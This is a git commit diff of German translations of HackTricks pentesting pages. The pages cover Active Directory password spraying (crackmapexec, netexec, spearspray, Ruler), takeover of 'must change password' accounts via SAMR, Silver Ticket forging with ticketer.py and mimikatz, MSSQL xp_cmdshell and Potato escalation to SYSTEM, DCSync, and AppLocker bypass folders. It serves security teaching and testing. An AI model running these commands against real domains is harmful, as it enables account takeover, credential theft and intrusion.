Translated ['src/windows-hardening/active-directory-methodology/silver-t

This commit is contained in:
Translator 2025-09-03 17:20:21 +00:00
parent bb3b17b0c9
commit aac252e6d4
4 changed files with 247 additions and 135 deletions

View File

@ -2,6 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
**Überprüfen Sie den erstaunlichen Beitrag von:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
**Siehe den großartigen Beitrag von:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,16 +5,16 @@
## **Password Spraying**
Sobald du mehrere **gültige Benutzernamen** gefunden hast, kannst du bei jedem der entdeckten Benutzer die häufigsten **Passwörter** ausprobieren (beachte die Passwortrichtlinie der Umgebung).\
Standardmäßig ist die **minimale Passwortlänge** **7**.
Sobald Sie mehrere **valid usernames** gefunden haben, können Sie mit jedem der entdeckten Benutzer die gebräuchlichsten **common passwords** ausprobieren (achten Sie auf die **password policy** der Umgebung).\
Per **default** beträgt die **minimum** **password** **length** **7**.
Listen mit häufigen Benutzernamen können ebenfalls nützlich sein: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Listen mit common usernames können ebenfalls nützlich sein: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Beachte, dass du einige Konten sperren könntest, wenn du mehrere falsche Passwörter ausprobierst (standardmäßig mehr als 10).
Beachten Sie, dass Sie **could lockout some accounts if you try several wrong passwords** (by default more than 10).
### Passwortrichtlinie abrufen
### Get password policy
Wenn du über Benutzeranmeldeinformationen oder eine Shell als Domain-Benutzer verfügst, kannst du die **Passwortrichtlinie** wie folgt abrufen:
Wenn Sie Benutzer-Credentials oder eine Shell als Domain-Benutzer haben, können Sie **get the password policy with**:
```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -31,7 +31,7 @@ net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
```
### Exploitation von Linux (oder allgemein)
### Exploitation von Linux (oder allen)
- Mit **crackmapexec:**
```bash
@ -47,16 +47,16 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
```
- [**spray**](https://github.com/Greenwolf/Spray) _**(du kannst die Anzahl der Versuche angeben, um Sperren zu vermeiden):**_
- [**spray**](https://github.com/Greenwolf/Spray) _**(Sie können die Anzahl der Versuche angeben, um Sperrungen zu vermeiden):**_
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
- Verwendung von [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NICHT EMPFOHLEN; FUNKTIONIERT MANCHMAL NICHT
- Verwendung von [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NICHT EMPFOHLEN, FUNKTIONIERT MANCHMAL NICHT
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
```
- Mit dem Modul `scanner/smb/smb_login` von **Metasploit**:
- Mit dem `scanner/smb/smb_login` Modul von **Metasploit**:
![](<../../images/image (745).png>)
@ -69,7 +69,7 @@ done
```
#### Von Windows
- Mit [Rubeus](https://github.com/Zer1t0/Rubeus) Version mit brute module:
- Mit einer [Rubeus](https://github.com/Zer1t0/Rubeus)-Version mit dem brute module:
```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@ -77,7 +77,7 @@ done
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
- Mit [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Es kann standardmäßig Benutzer aus der Domain generieren und ermittelt die Kennwortrichtlinie aus der Domain und begrenzt die Anzahl der Versuche entsprechend):
- Mit [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Es kann standardmäßig Benutzer aus der Domäne erzeugen, liest die Passwort-Richtlinie aus der Domäne und begrenzt die Anzahl der Versuche entsprechend.)
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
@ -85,23 +85,55 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
Invoke-SprayEmptyPassword
```
### Identifizieren und Übernehmen von "Password must change at next logon" Accounts (SAMR)
Eine geräuscharme Technik ist, ein benign/empty password zu sprayen und Accounts abzufangen, die STATUS_PASSWORD_MUST_CHANGE zurückgeben. Das zeigt an, dass das Passwort zwangsweise abgelaufen ist und ohne Kenntnis des alten Passworts geändert werden kann.
Ablauf:
- Benutzer enumerieren (RID brute via SAMR), um die Zielliste zu erstellen:
{{#ref}}
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
{{#endref}}
```bash
# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
```
- Spraye ein leeres Passwort und fahre bei Treffern fort, um Konten zu übernehmen, die bei der nächsten Anmeldung zur Passwortänderung gezwungen werden:
```bash
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
```
- Für jeden Treffer das Passwort über SAMR mit NetExecs Modul ändern (altes Passwort nicht erforderlich, wenn "must change" gesetzt ist):
```bash
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
# Validate and retrieve domain password policy with the new creds
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
```
Betriebliche Hinweise:
- Stellen Sie sicher, dass die Uhr Ihres Hosts vor Kerberos-basierten Operationen mit dem DC synchronisiert ist: `sudo ntpdate <dc_fqdn>`.
- Ein [+] ohne (Pwn3d!) in einigen Modulen (z.B. RDP/WinRM) bedeutet, dass die creds gültig sind, das Konto jedoch keine Rechte für interaktives Anmelden hat.
## Brute Force
```bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
```
### Kerberos pre-authbasiertes Spraying mit LDAP-Targeting und PSO-bewusster Drosselung (SpearSpray)
### Kerberos pre-auth spraying mit LDAP-Targeting und PSO-aware Throttling (SpearSpray)
Kerberos pre-authbasiertes Spraying reduziert das Rauschen im Vergleich zu SMB/NTLM/LDAP bind-Versuchen und passt besser zu AD-Sperrungsrichtlinien. SpearSpray kombiniert LDAP-gesteuertes Targeting, eine Pattern-Engine und Richtlinienbewusstsein (Domänenrichtlinie + PSOs + badPwdCount-Puffer), um gezielt und sicher zu sprühen. Es kann außerdem kompromittierte principals in Neo4j markieren, um BloodHound-Pfade zu ermöglichen.
Kerberos pre-authbased spraying reduziert das Rauschen gegenüber SMB/NTLM/LDAP-Bind-Versuchen und richtet sich besser nach AD-Lockout-Policies. SpearSpray koppelt LDAP-gesteuertes Targeting, eine Pattern-Engine und Policy-Awareness (domain policy + PSOs + badPwdCount buffer), um präzise und sicher zu sprühen. Es kann außerdem kompromittierte Principals in Neo4j markieren, um Pfade in BloodHound nachzuzeichnen.
Kernideen:
- LDAP-Benutzererkennung mit Paging und LDAPS-Unterstützung, optional mit benutzerdefinierten LDAP-Filtern.
- Domänen-Sperrungsrichtlinie + PSO-berücksichtigende Filterung, um einen konfigurierbaren Versuchspuffer (Schwelle) zu belassen und das Sperren von Benutzern zu vermeiden.
- Kerberos pre-auth Validierung unter Verwendung schneller gssapi-Bindings (erzeugt 4768/4771 auf DCs statt 4625).
Key ideas:
- LDAP user discovery mit Paging und LDAPS-Unterstützung, optional mit benutzerdefinierten LDAP-Filtern.
- Domain lockout policy + PSO-aware Filterung, um einen konfigurierbaren Versuchspuffer (threshold) zu lassen und zu vermeiden, dass Benutzer gesperrt werden.
- Kerberos pre-auth Validierung unter Verwendung schneller gssapi bindings (erzeugt 4768/4771 auf DCs statt 4625).
- Musterbasierte, pro-Benutzer Passwortgenerierung unter Verwendung von Variablen wie Namen und zeitlichen Werten, abgeleitet aus dem pwdLastSet jedes Benutzers.
- Durchsatzkontrolle mit Threads, Jitter und maximalen Anfragen pro Sekunde.
- Durchsatzkontrolle mit Threads, Jitter und max requests per second.
- Optionale Neo4j-Integration zum Markieren übernommener Benutzer für BloodHound.
Grundlegende Nutzung und Erkennung:
Basic usage and discovery:
```bash
# List available pattern variables
spearspray -l
@ -112,7 +144,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
```
Zielauswahl und Musterkontrolle:
Zielausrichtung und Musterkontrolle:
```bash
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
@ -121,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
```
Stealth und Sicherheitskontrollen:
Stealth- und Sicherheitskontrollen:
```bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
@ -129,7 +161,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
```
Neo4j/BloodHound-Anreicherung:
Neo4j/BloodHound Anreicherung:
```bash
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
```
@ -142,17 +174,17 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
{samaccountname}
{extra}{separator}{year}{suffix}
```
Available variables include:
Verfügbare Variablen umfassen:
- {name}, {samaccountname}
- Temporal from each users pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Composition helpers and org token: {separator}, {suffix}, {extra}
- Zeitbasierte Werte aus pwdLastSet (oder whenCreated) jedes Benutzers: {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Kompositions-Helfer und Org-Token: {separator}, {suffix}, {extra}
Operational notes:
- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info.
- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe.
- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in.
Betriebliche Hinweise:
- Bevorzuge Abfragen des PDC-emulator mit -dc, um den maßgeblichsten badPwdCount und richtlinienbezogene Informationen zu lesen.
- Resets von badPwdCount werden beim nächsten Versuch nach dem Beobachtungsfenster ausgelöst; nutze Schwellenwerte und Timing, um sicher zu bleiben.
- Kerberos pre-auth attempts sind in der DC-Telemetrie als 4768/4771 sichtbar; verwende Jitter und Rate-Limiting, um dich anzupassen.
> Tipp: Die Standard-LDAP-Seitengröße von SpearSpray ist 200; passe bei Bedarf mit -lps an.
> Tipp: SpearSprays default LDAP page size ist 200; passe bei Bedarf mit -lps an.
## Outlook Web Access
@ -160,11 +192,11 @@ Es gibt mehrere Tools für p**assword spraying outlook**.
- Mit [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- Mit [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- Mit [Ruler](https://github.com/sensepost/ruler) (zuverlässig!)
- Mit [Ruler](https://github.com/sensepost/ruler) (reliable!)
- Mit [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- Mit [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
Um eines dieser Tools zu verwenden, benötigst du eine Benutzerliste und ein Passwort bzw. eine kleine Liste von Passwörtern zum Sprayen.
Um eines dieser Tools zu verwenden, benötigen Sie eine Benutzerliste und ein Passwort / eine kleine Liste von Passwörtern to spray.
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
@ -194,6 +226,7 @@ Um eines dieser Tools zu verwenden, benötigst du eine Benutzerliste und ein Pas
- [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
- [HTB Sendai 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -6,21 +6,21 @@
## Silver ticket
Der **Silver Ticket**-Angriff beinhaltet die Ausnutzung von Diensttickets in Active Directory (AD)-Umgebungen. Diese Methode basiert auf dem **Erwerb des NTLM-Hashes eines Dienstkontos**, wie z.B. eines Computer-Kontos, um ein Ticket Granting Service (TGS)-Ticket zu fälschen. Mit diesem gefälschten Ticket kann ein Angreifer auf bestimmte Dienste im Netzwerk zugreifen und **jede Benutzeridentität nachahmen**, wobei typischerweise administrative Privilegien angestrebt werden. Es wird betont, dass die Verwendung von AES-Schlüsseln zur Fälschung von Tickets sicherer und weniger nachweisbar ist.
Der **Silver Ticket**-Angriff beinhaltet die Ausnutzung von Service-Tickets in Active Directory (AD)-Umgebungen. Diese Methode basiert darauf, den **NTLM hash of a service account** zu erlangen, etwa eines computer account, um ein Ticket Granting Service (TGS)-Ticket zu fälschen. Mit diesem gefälschten Ticket kann ein Angreifer auf bestimmte Dienste im Netzwerk zugreifen und sich **als beliebiger Benutzer ausgeben**, wobei typischerweise administrative Rechte angestrebt werden. Es wird betont, dass die Verwendung von AES keys zum Fälschen von Tickets sicherer und weniger erkennbar ist.
> [!WARNING]
> Silver Tickets sind weniger nachweisbar als Golden Tickets, da sie nur den **Hash des Dienstkontos** benötigen, nicht das krbtgt-Konto. Sie sind jedoch auf den spezifischen Dienst beschränkt, den sie anvisieren. Darüber hinaus reicht es aus, nur das Passwort eines Benutzers zu stehlen.
Darüber hinaus, wenn Sie ein **Passwort eines Kontos mit einem SPN** kompromittieren, können Sie dieses Passwort verwenden, um ein Silver Ticket zu erstellen, das jeden Benutzer für diesen Dienst nachahmt.
> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user.
> Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service.
Für die Ticket-Erstellung werden je nach Betriebssystem unterschiedliche Tools eingesetzt:
For ticket crafting, different tools are employed based on the operating system:
### On Linux
### Unter Linux
```bash
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
```
### Auf Windows
### Unter Windows
```bash
# Using Rubeus
## /ldap option is used to get domain data automatically
@ -37,48 +37,81 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd
```
Der CIFS-Dienst wird als häufiges Ziel hervorgehoben, um auf das Dateisystem des Opfers zuzugreifen, aber auch andere Dienste wie HOST und RPCSS können für Aufgaben und WMI-Abfragen ausgenutzt werden.
Der CIFS-Dienst wird als häufiges Ziel hervorgehoben, um auf das Dateisystem des Opfers zuzugreifen, aber andere Dienste wie HOST und RPCSS können ebenfalls für Aufgaben und WMI-Abfragen ausgenutzt werden.
### Beispiel: MSSQL service (MSSQLSvc) + Potato to SYSTEM
Wenn Sie den NTLM-Hash (oder AES key) eines SQL service account (z. B. sqlsvc) haben, können Sie ein TGS für den MSSQL SPN fälschen und sich gegenüber dem SQL service als beliebiger Benutzer ausgeben. Von dort aus aktivieren Sie xp_cmdshell, um Befehle als SQL service account auszuführen. Wenn dieses Token SeImpersonatePrivilege besitzt, nutzen Sie eine Potato, um auf SYSTEM zu erhöhen.
```bash
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
-spn MSSQLSvc/<host.fqdn>:1433 administrator
export KRB5CCNAME=$PWD/administrator.ccache
# Connect to SQL using Kerberos and run commands via xp_cmdshell
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
```
- Wenn der resultierende Kontext SeImpersonatePrivilege hat (oft zutreffend bei service accounts), verwende eine Potato variant, um SYSTEM zu erhalten:
```bash
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
# or
GodPotato -cmd "cmd /c whoami"
```
Mehr Details zum Missbrauch von MSSQL und zum Aktivieren von xp_cmdshell:
{{#ref}}
abusing-ad-mssql.md
{{#endref}}
Potato techniques Übersicht:
{{#ref}}
../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
{{#endref}}
## Verfügbare Dienste
| Diensttyp | Dienst-Silber-Tickets |
| ------------------------------------------ | ----------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Je nach Betriebssystem auch:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>In einigen Fällen können Sie einfach nachfragen: WINRM</p> |
| Geplante Aufgaben | HOST |
| Windows-Dateifreigabe, auch psexec | CIFS |
| LDAP-Operationen, einschließlich DCSync | LDAP |
| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Goldene Tickets | krbtgt |
| Diensttyp | Service Silver Tickets |
| ------------------------------------------ | -------------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p> |
| Scheduled Tasks | HOST |
| Windows File Share, also psexec | CIFS |
| LDAP operations, included DCSync | LDAP |
| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Golden Tickets | krbtgt |
Mit **Rubeus** können Sie **alle** diese Tickets mit dem Parameter anfordern:
Using **Rubeus** you may **ask for all** these tickets using the parameter:
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
### Silberne Ticket-Ereignis-IDs
### Silver tickets Ereignis-IDs
- 4624: Kontoanmeldung
- 4634: Abmeldung des Kontos
- 4672: Admin-Anmeldung
- 4624: Account Logon
- 4634: Account Logoff
- 4672: Admin Logon
## Persistenz
Um zu verhindern, dass Maschinen ihr Passwort alle 30 Tage ändern, setzen Sie `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` oder Sie könnten `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` auf einen größeren Wert als 30 Tage setzen, um den Rotationszeitraum anzugeben, wann das Passwort der Maschinen geändert werden sollte.
Damit Maschinen ihre Passwörter nicht alle 30 Tage rotieren, setze `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` oder du kannst `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` auf einen Wert größer als 30 Tage setzen, um den Rotationszeitraum anzugeben.
## Missbrauch von Diensttickets
## Missbrauch von Service tickets
In den folgenden Beispielen stellen wir uns vor, dass das Ticket unter Verwendung des Administratorkontos abgerufen wird.
In den folgenden Beispielen nehmen wir an, dass das Ticket unter Impersonation des Administrator-Accounts erlangt wurde.
### CIFS
Mit diesem Ticket können Sie auf den `C$` und `ADMIN$` Ordner über **SMB** zugreifen (wenn sie exponiert sind) und Dateien in einen Teil des Remote-Dateisystems kopieren, indem Sie einfach etwas tun wie:
Mit diesem Ticket kannst du auf die Ordner `C$` und `ADMIN$` über **SMB** zugreifen (falls sie erreichbar sind) und Dateien in Teile des entfernten Dateisystems kopieren, indem du etwa Folgendes ausführst:
```bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
```
Sie können auch eine Shell im Host erhalten oder beliebige Befehle mit **psexec** ausführen:
Sie können außerdem eine Shell auf dem Host erhalten oder beliebige Befehle mit **psexec** ausführen:
{{#ref}}
../lateral-movement/psexec-and-winexec.md
@ -86,7 +119,7 @@ Sie können auch eine Shell im Host erhalten oder beliebige Befehle mit **psexec
### HOST
Mit dieser Berechtigung können Sie geplante Aufgaben auf Remote-Computern erstellen und beliebige Befehle ausführen:
Mit dieser Berechtigung können Sie geplante Aufgaben auf entfernten Computern erstellen und beliebige Befehle ausführen:
```bash
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
@ -100,7 +133,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
```
### HOST + RPCSS
Mit diesen Tickets können Sie **WMI im Opfersystem ausführen**:
Mit diesen Tickets kannst du **WMI im Zielsystem ausführen**:
```bash
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
@ -110,7 +143,7 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis
#You can also use wmic
wmic remote.computer.local list full /format:list
```
Finden Sie **weitere Informationen über wmiexec** auf der folgenden Seite:
Finden Sie **mehr Informationen über wmiexec** auf der folgenden Seite:
{{#ref}}
../lateral-movement/wmiexec.md
@ -122,18 +155,19 @@ Mit winrm-Zugriff auf einen Computer können Sie **darauf zugreifen** und sogar
```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```
Überprüfen Sie die folgende Seite, um **weitere Möglichkeiten zu erfahren, sich mit einem Remote-Host über winrm zu verbinden**:
Schau dir die folgende Seite an, um **weitere Möglichkeiten kennenzulernen, mit winrm eine Verbindung zu einem Remote-Host herzustellen**:
{{#ref}}
../lateral-movement/winrm.md
{{#endref}}
> [!WARNING]
> Beachten Sie, dass **winrm aktiv und hörend** auf dem Remote-Computer sein muss, um darauf zuzugreifen.
> Beachte, dass **winrm auf dem Remote-Computer aktiv sein und auf eingehende Verbindungen hören muss**, um darauf zuzugreifen.
### LDAP
Mit diesem Privileg können Sie die DC-Datenbank mit **DCSync** dumpen:
Mit diesem Privileg kannst du die DC-Datenbank mit **DCSync** auslesen:
```
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
```
@ -150,6 +184,7 @@ dcsync.md
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets)
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027)
- [HTB Sendai 0xdf: Silver Ticket + Potato path](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)

View File

@ -4,14 +4,14 @@
## AppLocker-Richtlinie
Eine Anwendungs-Whitelist ist eine Liste genehmigter Softwareanwendungen oder ausführbarer Dateien, die auf einem System vorhanden sein und ausgeführt werden dürfen. Das Ziel ist es, die Umgebung vor schädlicher Malware und nicht genehmigter Software zu schützen, die nicht mit den spezifischen Geschäftsbedürfnissen einer Organisation übereinstimmt.
Eine Anwendungs-Whitelist ist eine Liste genehmigter Softwareanwendungen oder ausführbarer Dateien, die auf einem System vorhanden sein dürfen und ausgeführt werden können. Ziel ist es, die Umgebung vor schädlicher Malware und nicht genehmigter Software zu schützen, die nicht den spezifischen geschäftlichen Anforderungen einer Organisation entspricht.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) ist Microsofts **Lösung zur Anwendungs-Whitelist** und gibt Systemadministratoren die Kontrolle darüber, **welche Anwendungen und Dateien Benutzer ausführen können**. Es bietet **feingranulare Kontrolle** über ausführbare Dateien, Skripte, Windows-Installationsdateien, DLLs, verpackte Apps und Installationsprogramme für verpackte Apps.\
Es ist üblich, dass Organisationen **cmd.exe und PowerShell.exe** sowie den Schreibzugriff auf bestimmte Verzeichnisse blockieren, **aber das kann alles umgangen werden**.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) ist Microsofts **Lösung für Application Whitelisting** und gibt Systemadministratoren Kontrolle darüber, **welche Anwendungen und Dateien Benutzer ausführen können**. Es bietet **feingranulare Kontrolle** über ausführbare Dateien, Skripte, Windows-Installer-Dateien, DLLs, verpackte Apps und App-Installer.\
Es ist üblich, dass Organisationen **cmd.exe und PowerShell.exe blockieren** und Schreibzugriff auf bestimmte Verzeichnisse einschränken, **aber all das kann umgangen werden**.
### Überprüfen
### Prüfen
Überprüfen Sie, welche Dateien/Erweiterungen auf der schwarzen Liste stehen oder auf der Whitelist sind:
Prüfe, welche Dateien/Erweiterungen auf der Blacklist/Whitelist stehen:
```bash
Get-ApplockerPolicy -Effective -xml
@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
```
Dieser Registrierungspfad enthält die Konfigurationen und Richtlinien, die von AppLocker angewendet werden, und bietet eine Möglichkeit, die aktuelle Regelmenge zu überprüfen, die auf dem System durchgesetzt wird:
Dieser Registry-Pfad enthält die von AppLocker angewendeten Konfigurationen und Richtlinien und ermöglicht so die Überprüfung der aktuell auf dem System durchgesetzten Regeln:
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
### Umgehung
### Bypass
- Nützliche **beschreibbare Ordner**, um die AppLocker-Richtlinie zu umgehen: Wenn AppLocker die Ausführung von allem innerhalb von `C:\Windows\System32` oder `C:\Windows` erlaubt, gibt es **beschreibbare Ordner**, die Sie verwenden können, um **dies zu umgehen**.
- Nützliche **Writable folders** to bypass AppLocker Policy: Wenn AppLocker die Ausführung von Dateien innerhalb von `C:\Windows\System32` oder `C:\Windows` erlaubt, gibt es **writable folders**, die du verwenden kannst, um **bypass this**.
```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
```
- Häufig **vertrauenswürdige** [**"LOLBAS's"**](https://lolbas-project.github.io/) Binärdateien können ebenfalls nützlich sein, um AppLocker zu umgehen.
- **Schlecht geschriebene Regeln könnten ebenfalls umgangen werden**
- Zum Beispiel, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, können Sie einen **Ordner namens `allowed`** überall erstellen und er wird erlaubt.
- Organisationen konzentrieren sich oft darauf, die **`%System32%\WindowsPowerShell\v1.0\powershell.exe`** ausführbare Datei zu **blockieren**, vergessen jedoch die **anderen** [**PowerShell ausführbaren Standorte**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) wie **`%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe`** oder **`PowerShell_ISE.exe`**.
- **DLL-Durchsetzung sehr selten aktiviert** aufgrund der zusätzlichen Belastung, die sie auf ein System ausüben kann, und der Menge an Tests, die erforderlich sind, um sicherzustellen, dass nichts kaputt geht. Daher wird die Verwendung von **DLLs als Hintertüren helfen, AppLocker zu umgehen**.
- Sie können [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) oder [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) verwenden, um **Powershell**-Code in jedem Prozess auszuführen und AppLocker zu umgehen. Für weitere Informationen siehe: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
- Häufig als **vertrauenswürdig** angesehene [**"LOLBAS's"**] Binaries können ebenfalls nützlich sein, um AppLocker zu umgehen.
- **Schlecht geschriebene Regeln können ebenfalls umgangen werden**
- Zum Beispiel bei **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, kann man überall einen **Ordner namens `allowed`** erstellen und er wird erlaubt.
